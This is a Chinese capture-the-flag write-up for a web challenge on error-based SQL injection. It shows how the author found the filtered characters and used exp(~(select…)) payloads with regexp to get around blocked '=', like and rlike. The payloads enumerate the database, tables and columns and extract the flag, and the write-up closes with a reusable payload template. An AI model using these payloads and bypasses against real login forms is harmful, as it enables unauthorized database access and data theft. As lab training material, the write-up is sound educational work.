加了料的报错注入 分值:35
flag格式:flag{xxx}
解题链接: http://ctf5.shiyanbar.com/web/baocuo/index.php
1.寻找解题思路
首先打开页面,如图:

提示让你登陆,参数以post方式提交,右键查看源代码,发现sql语句:
$sql="select * from users where username='$username' and password='$password'";
尝试使用万能密码,提示Sql injection detected
逐个测试过滤字符,检测哪些字符被过滤
过滤:= like rlike union ;
未过滤:, < > % select * + char from
用户名提交 char(0) 返回

这里就是题目中所说的报错注入返回了

返回:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
通过通用报错注入
'or exp(~(select*from(select database())a))or' 报错信息显示:
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'
得到数据库名称 error_based_hpf
下一步显示当前表,由于过滤了“=”,此处使用regexp来替代
'or exp(~(select*from(select group_concat(TABLE_name) from information_schema.tables where table_schema regexp database())a))or '
得到结果:
DOUBLE value is out of range in 'exp(~((select 'ffll44jj,users' from dual)))'
整理:
有两个表,分别是 ffll44jj 和 users
先查询ffll44jj 表的列名
'or exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a))or '
得到列名
DOUBLE value is out of range in 'exp(~((select 'value' from dual)))'
查询value的值
'or exp(~(select*from(select value from ffll44jj)a))or '
得到flag:
DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))'
启示:
1.如果有报错信息的情况下可以使用报错注入,原理为将查询结果以错误信息返回至页面
2.报错注入sql为: ' or exp(~(select * from (#SQL语句#)a))or'
3.末尾使用or'来闭合单引号
4.过滤了= like rlike 情况下 可以使用 regexp 来替代
5.通用查询
数据库名 select database()
表名列表: select concat(table_name) from information_schema.TABLES where table_schema regexp database()
列名列表: select concat(column_name) from information_schema.COLUMNS where table_name regexp '表名'
查询表内数据:select value from '表名'
本文详细介绍了如何利用报错注入技巧解决SQL注入问题,通过实际案例演示了如何绕过常见过滤,获取数据库信息及敏感数据。
416

被折叠的 条评论
为什么被折叠?



